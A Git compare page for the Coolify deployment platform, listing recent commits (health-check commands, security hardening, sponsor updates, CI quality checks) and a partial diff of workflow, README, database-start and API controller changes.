Compare commits

...

77 commits

Author SHA1 Message Date
Andras Bacsai
19b74f74d9
Merge 3b026f7f69 into 6b2a669cb9 2026-02-28 08:11:54 -05:00
Andras Bacsai
6b2a669cb9 docs(sponsors): add huge sponsors section and reorganize list
Some checks are pending
Staging Build / build-push (aarch64, linux/aarch64, ubuntu-24.04-arm) (push) Waiting to run
Staging Build / build-push (amd64, linux/amd64, ubuntu-24.04) (push) Waiting to run
Staging Build / merge-manifest (push) Blocked by required conditions
- Create new "Huge Sponsors" section with SerpAPI
- Move SerpAPI from Small Sponsors to Huge Sponsors
- Replace Dade2 with Darweb
- Add Greptile and MVPS as new sponsors
2026-02-27 22:03:54 +01:00
Andras Bacsai
ce6859648a
fix(ssh): automatically fix SSH directory permissions during upgrade (#8635)
Some checks are pending
Staging Build / build-push (aarch64, linux/aarch64, ubuntu-24.04-arm) (push) Waiting to run
Staging Build / build-push (amd64, linux/amd64, ubuntu-24.04) (push) Waiting to run
Staging Build / merge-manifest (push) Blocked by required conditions
2026-02-27 14:45:29 +01:00
Andras Bacsai
2b7e2ebafb chore: prepare for PR 2026-02-26 16:27:02 +01:00
🏔️ Peak
78aea9a7ec
Merge branch 'v4.x' into next
Some checks failed
Staging Build / build-push (aarch64, linux/aarch64, ubuntu-24.04-arm) (push) Has been cancelled
Staging Build / build-push (amd64, linux/amd64, ubuntu-24.04) (push) Has been cancelled
Staging Build / merge-manifest (push) Has been cancelled
2026-02-25 17:59:04 +01:00
Andras Bacsai
5a2547c879
fix(soketi): make host binding configurable for IPv6 support (#8619) 2026-02-25 12:24:25 +01:00
Andras Bacsai
9ec45bcf56 chore: prepare for PR 2026-02-25 12:18:50 +01:00
Andras Bacsai
c93296e9a6
feat(healthcheck): add command-based health check support (#8612) 2026-02-25 12:09:59 +01:00
Andras Bacsai
f3b63b4d8d
fix(scheduler): add self-healing for stale Redis locks and detection in UI (#8618) 2026-02-25 12:08:45 +01:00
Andras Bacsai
3e755338b4 fix(healthchecks): remove redundant newline sanitization from CMD healthcheck
Simplify the CMD healthcheck generation by removing the str_replace call that
normalizes newlines. The command is now used directly without modification,
following the pattern of centralized command escaping in recent changes.
2026-02-25 12:08:24 +01:00
Andras Bacsai
b88f9fca67 chore: prepare for PR 2026-02-25 12:07:29 +01:00
Andras Bacsai
3eb9426b95
fix(ca-cert): prevent command injection via base64 encoding (#8617) 2026-02-25 12:01:52 +01:00
Andras Bacsai
fe36b70680 chore: prepare for PR 2026-02-25 12:00:24 +01:00
Andras Bacsai
521d995ea1 Merge remote-tracking branch 'origin/next' into 7765-healthcheck-investigation 2026-02-25 11:57:58 +01:00
Andras Bacsai
12f8f80eb1
fix(api): add team authorization to domains_by_server endpoint (#8616) 2026-02-25 11:54:29 +01:00
Andras Bacsai
8e2f0836da chore: prepare for PR 2026-02-25 11:52:18 +01:00
Andras Bacsai
57848c25e9
fix(docker): centralize command escaping in executeInDocker helper (#8615) 2026-02-25 11:51:23 +01:00
Andras Bacsai
992b922df3 chore: prepare for PR 2026-02-25 11:50:57 +01:00
Andras Bacsai
0580af0d34 feat(healthchecks): add command health checks with input validation
Add support for command-based health checks in addition to HTTP-based checks:
- New health_check_type field supporting 'http' and 'cmd' values
- New health_check_command field with strict regex validation
- Updated allowedFields in create_application and update_by_uuid endpoints
- Validation rules include max 1000 characters and safe character whitelist
- Added feature tests for health check API endpoints
- Added unit tests for GithubAppPolicy and SharedEnvironmentVariablePolicy
2026-02-25 11:38:09 +01:00
Andras Bacsai
609cb4190e fix(health-checks): sanitize and validate CMD healthcheck commands
- Add regex validation to restrict allowed characters (alphanumeric, spaces, and specific safe symbols)
- Enforce maximum 1000 character limit on healthcheck commands
- Strip newlines and carriage returns to prevent command injection
- Change input field from textarea to text input in UI
- Add warning callout about prohibited shell operators
- Add comprehensive validation tests for both valid and malicious command patterns
2026-02-25 11:28:33 +01:00
Andras Bacsai
24abd51238
fix(auth): prevent cross-tenant IDOR in resource cloning (#8613) 2026-02-25 11:21:52 +01:00
Andras Bacsai
1759a1631c chore: prepare for PR 2026-02-25 11:18:46 +01:00
Andras Bacsai
65d4005493 Merge remote-tracking branch 'origin/next' into 7765-healthcheck-investigation
# Conflicts:
#	app/Livewire/Project/Shared/HealthChecks.php
2026-02-25 11:02:38 +01:00
Andras Bacsai
03a8621516
fix(health-checks): prevent command injection in health check commands (#8611)
Some checks are pending
Staging Build / build-push (aarch64, linux/aarch64, ubuntu-24.04-arm) (push) Waiting to run
Staging Build / build-push (amd64, linux/amd64, ubuntu-24.04) (push) Waiting to run
Staging Build / merge-manifest (push) Blocked by required conditions
2026-02-25 10:59:00 +01:00
Andras Bacsai
30c0b37689 chore: prepare for PR 2026-02-25 10:58:29 +01:00
Aditya Tripathi
036f565785
Merge branch 'next' into feat/healthcheck-cmd 2026-02-24 22:22:02 +05:30
Andras Bacsai
cb759b2846
fix(api): correct permission requirements for POST endpoints (#8600)
Some checks are pending
Staging Build / build-push (aarch64, linux/aarch64, ubuntu-24.04-arm) (push) Waiting to run
Staging Build / build-push (amd64, linux/amd64, ubuntu-24.04) (push) Waiting to run
Staging Build / merge-manifest (push) Blocked by required conditions
2026-02-24 14:57:51 +01:00
Andras Bacsai
d8419fad93 chore: prepare for PR 2026-02-24 14:57:32 +01:00
Andras Bacsai
279322d50f
fix(input): prevent eye icon flash on password fields before Alpine.js loads (#8599) 2026-02-24 12:57:22 +01:00
Andras Bacsai
f39a1da7be
fix(auth): prevent CSRF redirect loop during 2FA challenge (#8596) 2026-02-24 12:57:10 +01:00
Andras Bacsai
448e922e6c chore: prepare for PR 2026-02-24 12:56:54 +01:00
Andras Bacsai
78e584a136
feat(service): upgrade beszel and beszel-agent to v0.18 (#8513) 2026-02-24 12:56:36 +01:00
Andras Bacsai
912e5f6db2
feat(service): disable pterodactyl panel and pterodactyl wings (#8512) 2026-02-24 12:55:52 +01:00
Andras Bacsai
f8de374f77
feat(service): disable plane (#8580) 2026-02-24 12:55:29 +01:00
Andras Bacsai
2986d7604e chore: prepare for PR 2026-02-24 10:17:16 +01:00
ShadowArcanist
b36d67288b feat(service): disable plane
The latest version of plane v1.2.2 have security fixed but our template is using v1.0.0 which is 5 months behind the current latest. New version v1.2.2 doesn't work with our existing template so disabling it for now to prevent users from deploying a vulnerable version of plane
2026-02-24 02:34:35 +05:30
Andras Bacsai
021605dbf0
fix(deploy): split BuildKit and secrets detection (#8565)
Some checks are pending
Staging Build / build-push (aarch64, linux/aarch64, ubuntu-24.04-arm) (push) Waiting to run
Staging Build / build-push (amd64, linux/amd64, ubuntu-24.04) (push) Waiting to run
Staging Build / merge-manifest (push) Blocked by required conditions
2026-02-23 15:20:25 +01:00
Andras Bacsai
ec14b55f0a chore: prepare for PR 2026-02-23 14:28:28 +01:00
Andras Bacsai
2310ad5f7f
chore(ui): widen project heading nav spacing (#8564) 2026-02-23 14:17:38 +01:00
Andras Bacsai
6cacd2f0ff chore: prepare for PR 2026-02-23 14:17:15 +01:00
Andras Bacsai
46923f7e77
fix(applications): treat zero private_key_id as deploy key (#8563) 2026-02-23 14:16:11 +01:00
Andras Bacsai
620da191b1 chore: prepare for PR 2026-02-23 14:15:13 +01:00
Andras Bacsai
d71d91d63e fix(version): update coolify version to 4.0.0-beta.464 and nightly version to 4.0.0-beta.465 2026-02-23 13:47:26 +01:00
Andras Bacsai
1f3fca5f71
fix(database): chown redis/keydb configs when custom conf set (#8561) 2026-02-23 13:26:58 +01:00
Andras Bacsai
76a6960f44 chore: prepare for PR 2026-02-23 13:26:01 +01:00
Andras Bacsai
f68d60a373
chore(horizon): make max time configurable (#8560) 2026-02-23 13:25:13 +01:00
Andras Bacsai
b7b0dfeddd chore: prepare for PR 2026-02-23 13:24:49 +01:00
Andras Bacsai
133241bac1
fix(service): resolve team lookup via service relationship (#8559) 2026-02-23 13:24:01 +01:00
Andras Bacsai
61a54afe2b fix(service): resolve team lookup via service relationship
Update service application/database team accessors to traverse the service relation chain and add coverage to prevent null team regressions.
2026-02-23 13:23:12 +01:00
Andras Bacsai
58acdccfc9
fix(team): include webhook notifications in enabled check (#8557) 2026-02-23 13:03:05 +01:00
Andras Bacsai
bf51ed905f chore: prepare for PR 2026-02-23 13:02:06 +01:00
Andras Bacsai
c30d94f089
chore(scheduler): fix scheduled job duration metric (#8551) 2026-02-23 12:20:15 +01:00
Andras Bacsai
cb0f5cc812 chore: prepare for PR 2026-02-23 12:19:57 +01:00
Andras Bacsai
ffb408f214 Create docker-compose-maxio.dev.yml 2026-02-23 12:18:50 +01:00
Andras Bacsai
0c8b9b75f4
fix(traefik): respect force https in service labels (#8550) 2026-02-23 12:16:12 +01:00
Andras Bacsai
d51b26c047
Dont ignore "force https" pref when using docker compose (#8424) 2026-02-23 12:15:37 +01:00
Andras Bacsai
16e85e27e8 fix(service): always enable force https labels
Force HTTPS routing labels in parser helpers and remove per-service toggles now that the preference is no longer honored.
2026-02-23 12:14:44 +01:00
Andras Bacsai
ba3994bc5c
fix(security): harden deployment paths and deploy abilities (#8549) 2026-02-23 12:13:47 +01:00
Andras Bacsai
73170fdd33 chore: prepare for PR 2026-02-23 12:12:10 +01:00
ShadowArcanist
76d3709163 feat(service): upgrade beszel and beszel-agent to v0.18 2026-02-21 23:17:23 +05:30
ShadowArcanist
c1951726c0 feat(service): disable pterodactyl panel and pterodactyl wings
The template is using latest version of pterodactyl and the issue is the db migration fails for new users but works fine for existing deployments. We cannot revert the template to previous version because the current latest version addresses few CVEs so it's better to disable this template for now
2026-02-21 21:42:28 +05:30
Aditya Tripathi
04283a03a0
Merge branch 'next' into feat/healthcheck-cmd 2026-02-21 06:54:29 +05:30
Jono
35a6110252 Dont ignore "force https" pref when using docker compose 2026-02-17 15:30:49 -08:00
🏔️ Peak
098d3d4c25
ci: improve pr quality workflow (#8374)
Some checks failed
Production Build (v4) / build-push (aarch64, linux/aarch64, ubuntu-24.04-arm) (push) Has been cancelled
Production Build (v4) / build-push (amd64, linux/amd64, ubuntu-24.04) (push) Has been cancelled
Generate Changelog / Generate changelog (push) Has been cancelled
Production Build (v4) / merge-manifest (push) Has been cancelled
2026-02-15 23:57:13 +01:00
peaklabs-dev
362fc770f1
ci: delete label removal workflow 2026-02-15 23:54:01 +01:00
peaklabs-dev
dea025510b
ci: improve pr quality workflow
- change labels to quality
- add a failure label
- make sure service json files are not changed
2026-02-15 23:53:11 +01:00
🏔️ Peak
b673789e9d
ci: add pr quality check via anti slop action (#8344)
Some checks are pending
Production Build (v4) / build-push (aarch64, linux/aarch64, ubuntu-24.04-arm) (push) Waiting to run
Production Build (v4) / build-push (amd64, linux/amd64, ubuntu-24.04) (push) Waiting to run
Production Build (v4) / merge-manifest (push) Blocked by required conditions
Generate Changelog / Generate changelog (push) Waiting to run
2026-02-15 01:28:34 +01:00
peaklabs-dev
ea3f4b927d
ci: do not build or generate changelog on pr-quality changes 2026-02-14 23:59:39 +01:00
peaklabs-dev
ddf91a2a63
ci: add pr quality check workflow 2026-02-14 23:46:14 +01:00
Andras Bacsai
548dc51517
For v463 lol (#8233)
Some checks failed
Production Build (v4) / build-push (aarch64, linux/aarch64, ubuntu-24.04-arm) (push) Has been cancelled
Production Build (v4) / build-push (amd64, linux/amd64, ubuntu-24.04) (push) Has been cancelled
Generate Changelog / Generate changelog (push) Has been cancelled
Production Build (v4) / merge-manifest (push) Has been cancelled
2026-02-09 12:56:38 +01:00
Andras Bacsai
23914746d0
v4.0.0-beta.463 (#7998) 2026-02-09 12:53:39 +01:00
Aditya Tripathi
33d5879160
Merge branch 'next' into feat/healthcheck-cmd 2026-01-15 16:37:54 +05:30
Aditya Tripathi
362b43a806
Merge branch 'next' into feat/healthcheck-cmd 2025-12-26 04:05:36 +05:30
Aditya Tripathi
1ef6351701 feat: require health check command for 'cmd' type with backend validation and frontend update 2025-12-25 21:03:49 +00:00
Aditya Tripathi
342e8e765d feat: add command healthcheck type 2025-12-25 08:11:11 +00:00
Andras Bacsai
3b026f7f69 test: add tests and migration for service name collision fix
- Add migration to convert existing docker_compose_domains to use original service names
- Add comprehensive unit tests for Traefik label normalization with service names containing dots
- Tests verify hash uniqueness and label structure correctness

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-12-10 14:34:57 +01:00
Andras Bacsai
22ce45fb84 fix: resolve Docker Compose service name collisions with dots
Services like "api.test" and "api-test" now create unique Traefik labels
by normalizing dots to hyphens and adding a 4-char hash suffix. Update
docker_compose_domains storage to use original service names instead of
transformed names to prevent key collisions.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-12-10 14:34:57 +01:00
89 changed files with 3147 additions and 604 deletions

View file

@ -1,86 +0,0 @@
name: Remove Labels and Assignees on Issue Close
on:
issues:
types: [closed]
pull_request:
types: [closed]
pull_request_target:
types: [closed]
permissions:
issues: write
pull-requests: write
jobs:
remove-labels-and-assignees:
runs-on: ubuntu-latest
steps:
- name: Remove labels and assignees
uses: actions/github-script@v7
with:
github-token: ${{ secrets.GITHUB_TOKEN }}
script: |
const { owner, repo } = context.repo;
async function processIssue(issueNumber, isFromPR = false, prBaseBranch = null) {
try {
if (isFromPR && prBaseBranch !== 'v4.x') {
return;
}
const { data: currentLabels } = await github.rest.issues.listLabelsOnIssue({
owner,
repo,
issue_number: issueNumber
});
const labelsToKeep = currentLabels
.filter(label => label.name === '⏱︎ Stale')
.map(label => label.name);
await github.rest.issues.setLabels({
owner,
repo,
issue_number: issueNumber,
labels: labelsToKeep
});
const { data: issue } = await github.rest.issues.get({
owner,
repo,
issue_number: issueNumber
});
if (issue.assignees && issue.assignees.length > 0) {
await github.rest.issues.removeAssignees({
owner,
repo,
issue_number: issueNumber,
assignees: issue.assignees.map(assignee => assignee.login)
});
}
} catch (error) {
if (error.status !== 404) {
console.error(`Error processing issue ${issueNumber}:`, error);
}
}
}
if (context.eventName === 'issues') {
await processIssue(context.payload.issue.number);
}
if (context.eventName === 'pull_request' || context.eventName === 'pull_request_target') {
const pr = context.payload.pull_request;
await processIssue(pr.number);
if (pr.merged && pr.base.ref === 'v4.x' && pr.body) {
const issueReferences = pr.body.match(/#(\d+)/g);
if (issueReferences) {
for (const reference of issueReferences) {
const issueNumber = parseInt(reference.substring(1));
await processIssue(issueNumber, true, pr.base.ref);
}
}
}
}

View file

@ -8,6 +8,7 @@ on:
- .github/workflows/coolify-helper-next.yml
- .github/workflows/coolify-realtime.yml
- .github/workflows/coolify-realtime-next.yml
- .github/workflows/pr-quality.yaml
- docker/coolify-helper/Dockerfile
- docker/coolify-realtime/Dockerfile
- docker/testing-host/Dockerfile

View file

@ -11,6 +11,7 @@ on:
- .github/workflows/coolify-helper-next.yml
- .github/workflows/coolify-realtime.yml
- .github/workflows/coolify-realtime-next.yml
- .github/workflows/pr-quality.yaml
- docker/coolify-helper/Dockerfile
- docker/coolify-realtime/Dockerfile
- docker/testing-host/Dockerfile

View file

@ -3,6 +3,12 @@ name: Generate Changelog
on:
push:
branches: [ v4.x ]
paths-ignore:
- .github/workflows/coolify-helper.yml
- .github/workflows/coolify-helper-next.yml
- .github/workflows/coolify-realtime.yml
- .github/workflows/coolify-realtime-next.yml
- .github/workflows/pr-quality.yaml
workflow_dispatch:
permissions:

96
.github/workflows/pr-quality.yaml vendored Normal file
View file

@ -0,0 +1,96 @@
name: PR Quality
permissions:
contents: read
issues: read
pull-requests: write
on:
pull_request_target:
types: [opened, reopened]
jobs:
pr-quality:
runs-on: ubuntu-latest
steps:
- uses: peakoss/anti-slop@v0
with:
# General Settings
max-failures: 3
# PR Branch Checks
allowed-target-branches: "next"
blocked-target-branches: ""
allowed-source-branches: ""
blocked-source-branches: |
main
master
v4.x
next
# PR Quality Checks
max-negative-reactions: 0
require-maintainer-can-modify: true
# PR Title Checks
require-conventional-title: true
# PR Description Checks
require-description: true
max-description-length: 0
max-emoji-count: 2
require-pr-template: true
require-linked-issue: false
blocked-terms: "STRAWBERRY"
blocked-issue-numbers: 8154
# Commit Message Checks
require-conventional-commits: false
blocked-commit-authors: "claude,copilot"
# File Checks
allowed-file-extensions: ""
allowed-paths: ""
blocked-paths: |
README.md
SECURITY.md
LICENSE
CODE_OF_CONDUCT.md
templates/service-templates-latest.json
templates/service-templates.json
require-final-newline: true
# User Health Checks
min-repo-merged-prs: 0
min-repo-merge-ratio: 0
min-global-merge-ratio: 30
global-merge-ratio-exclude-own: false
min-account-age: 10
# Exemptions
exempt-author-association: "OWNER,MEMBER,COLLABORATOR"
exempt-users: ""
exempt-bots: |
actions-user
dependabot[bot]
renovate[bot]
github-actions[bot]
exempt-draft-prs: false
exempt-label: "quality/exempt"
exempt-pr-label: ""
exempt-milestones: ""
exempt-pr-milestones: ""
exempt-all-milestones: false
exempt-all-pr-milestones: false
# PR Success Actions
success-add-pr-labels: "quality/verified"
# PR Failure Actions
close-pr: true
lock-pr: false
delete-branch: false
failure-pr-message: "This PR did not pass quality checks so it will be closed. If you believe this is a mistake please let us know."
failure-remove-pr-labels: ""
failure-remove-all-pr-labels: true
failure-add-pr-labels: "quality/rejected"

View file

@ -55,6 +55,10 @@ To stay completely free and open-source, with no feature behind the paywall and
Thank you so much!
### Huge Sponsors
* [SerpAPI](https://serpapi.com?ref=coolify.io) - Google Search API — Scrape Google and other search engines from our fast, easy, and complete API
### Big Sponsors
* [23M](https://23m.com?ref=coolify.io) - Your experts for high-availability hosting solutions!
@ -70,9 +74,10 @@ Thank you so much!
* [CompAI](https://www.trycomp.ai?ref=coolify.io) - Open source compliance automation platform
* [Convex](https://convex.link/coolify.io) - Open-source reactive database for web app developers
* [CubePath](https://cubepath.com/?ref=coolify.io) - Dedicated Servers & Instant Deploy
* [Dade2](https://dade2.net/?ref=coolify.io) - IT Consulting, Cloud Solutions & System Integration
* [Darweb](https://darweb.nl/?ref=coolify.io) - 3D CPQ solutions for ecommerce design
* [Formbricks](https://formbricks.com?ref=coolify.io) - The open source feedback platform
* [GoldenVM](https://billing.goldenvm.com?ref=coolify.io) - Premium virtual machine hosting solutions
* [Greptile](https://www.greptile.com?ref=coolify.io) - The AI Code Reviewer
* [Hetzner](http://htznr.li/CoolifyXHetzner) - Server, cloud, hosting, and data center solutions
* [Hostinger](https://www.hostinger.com/vps/coolify-hosting?ref=coolify.io) - Web hosting and VPS solutions
* [JobsCollider](https://jobscollider.com/remote-jobs?ref=coolify.io) - 30,000+ remote jobs for developers
@ -80,6 +85,7 @@ Thank you so much!
* [LiquidWeb](https://liquidweb.com?ref=coolify.io) - Premium managed hosting solutions
* [Logto](https://logto.io?ref=coolify.io) - The better identity infrastructure for developers
* [Macarne](https://macarne.com?ref=coolify.io) - Best IP Transit & Carrier Ethernet Solutions for Simplified Network Connectivity
* [MVPS](https://www.mvps.net?ref=coolify.io) - Cheap VPS servers at the highest possible quality
* [Mobb](https://vibe.mobb.ai/?ref=coolify.io) - Secure Your AI-Generated Code to Unlock Dev Productivity
* [PFGLabs](https://pfglabs.com?ref=coolify.io) - Build Real Projects with Golang
* [Ramnode](https://ramnode.com/?ref=coolify.io) - High Performance Cloud VPS Hosting
@ -126,7 +132,6 @@ Thank you so much!
<a href="https://www.runpod.io/?utm_source=coolify.io"><img width="60px" alt="RunPod" src="https://coolify.io/images/runpod.svg"/></a>
<a href="https://dartnode.com/?utm_source=coolify.io"><img width="60px" alt="DartNode" src="https://github.com/dartnode.png"/></a>
<a href="https://github.com/whitesidest"><img width="60px" alt="Tyler Whitesides" src="https://avatars.githubusercontent.com/u/12365916?s=52&v=4"/></a>
<a href="https://serpapi.com/?utm_source=coolify.io"><img width="60px" alt="SerpAPI" src="https://github.com/serpapi.png"/></a>
<a href="https://aquarela.io"><img width="60px" alt="Aquarela" src="https://github.com/aquarela-io.png"/></a>
<a href="https://cryptojobslist.com/?utm_source=coolify.io"><img width="60px" alt="Crypto Jobs List" src="https://github.com/cryptojobslist.png"/></a>
<a href="https://www.youtube.com/@AlfredNutile?utm_source=coolify.io"><img width="60px" alt="Alfred Nutile" src="https://github.com/alnutile.png"/></a>

View file

@ -207,6 +207,9 @@ class StartKeydb
if ($this->database->enable_ssl) {
$this->commands[] = "chown -R 999:999 $this->configuration_dir/ssl/server.key $this->configuration_dir/ssl/server.crt";
}
if (! is_null($this->database->keydb_conf) && ! empty($this->database->keydb_conf)) {
$this->commands[] = "chown 999:999 $this->configuration_dir/keydb.conf";
}
$this->commands[] = "docker stop -t 10 $container_name 2>/dev/null || true";
$this->commands[] = "docker rm -f $container_name 2>/dev/null || true";
$this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d";

View file

@ -204,6 +204,9 @@ class StartRedis
if ($this->database->enable_ssl) {
$this->commands[] = "chown -R 999:999 $this->configuration_dir/ssl/server.key $this->configuration_dir/ssl/server.crt";
}
if (! is_null($this->database->redis_conf) && ! empty($this->database->redis_conf)) {
$this->commands[] = "chown 999:999 $this->configuration_dir/redis.conf";
}
$this->commands[] = "docker stop -t 10 $container_name 2>/dev/null || true";
$this->commands[] = "docker rm -f $container_name 2>/dev/null || true";
$this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d";

View file

@ -30,12 +30,14 @@ class InstallDocker
);
$caCertPath = config('constants.coolify.base_config_path').'/ssl/';
$base64Cert = base64_encode($serverCert->ssl_certificate);
$commands = collect([
"mkdir -p $caCertPath",
"chown -R 9999:root $caCertPath",
"chmod -R 700 $caCertPath",
"rm -rf $caCertPath/coolify-ca.crt",
"echo '{$serverCert->ssl_certificate}' > $caCertPath/coolify-ca.crt",
"echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null",
"chmod 644 $caCertPath/coolify-ca.crt",
]);
remote_process($commands, $server);

View file

@ -40,7 +40,7 @@ class Kernel extends ConsoleKernel
}
// $this->scheduleInstance->job(new CleanupStaleMultiplexedConnections)->hourly();
$this->scheduleInstance->command('cleanup:redis')->weekly();
$this->scheduleInstance->command('cleanup:redis --clear-locks')->daily();
if (isDev()) {
// Instance Jobs

View file

@ -1002,7 +1002,7 @@ class ApplicationsController extends Controller
if ($return instanceof \Illuminate\Http\JsonResponse) {
return $return;
}
$allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled'];
$allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled'];
$validator = customApiValidator($request->all(), [
'name' => 'string|max:255',
@ -1101,7 +1101,6 @@ class ApplicationsController extends Controller
'git_branch' => ['string', 'required', new ValidGitBranch],
'build_pack' => ['required', Rule::enum(BuildPackTypes::class)],
'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required',
'docker_compose_location' => 'string',
'docker_compose_domains' => 'array|nullable',
'docker_compose_domains.*' => 'array:name,domain',
'docker_compose_domains.*.name' => 'string|required',
@ -1297,7 +1296,6 @@ class ApplicationsController extends Controller
'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required',
'github_app_uuid' => 'string|required',
'watch_paths' => 'string|nullable',
'docker_compose_location' => 'string',
'docker_compose_domains' => 'array|nullable',
'docker_compose_domains.*' => 'array:name,domain',
'docker_compose_domains.*.name' => 'string|required',
@ -1525,7 +1523,6 @@ class ApplicationsController extends Controller
'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/|required',
'private_key_uuid' => 'string|required',
'watch_paths' => 'string|nullable',
'docker_compose_location' => 'string',
'docker_compose_domains' => 'array|nullable',
'docker_compose_domains.*' => 'array:name,domain',
'docker_compose_domains.*.name' => 'string|required',
@ -2463,14 +2460,13 @@ class ApplicationsController extends Controller
$this->authorize('update', $application);
$server = $application->destination->server;
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
$validationRules = [
'name' => 'string|max:255',
'description' => 'string|nullable',
'static_image' => 'string',
'watch_paths' => 'string|nullable',
'docker_compose_location' => 'string',
'docker_compose_domains' => 'array|nullable',
'docker_compose_domains.*' => 'array:name,domain',
'docker_compose_domains.*.name' => 'string|required',

View file

@ -127,6 +127,10 @@ class DeployController extends Controller
if (! $deployment) {
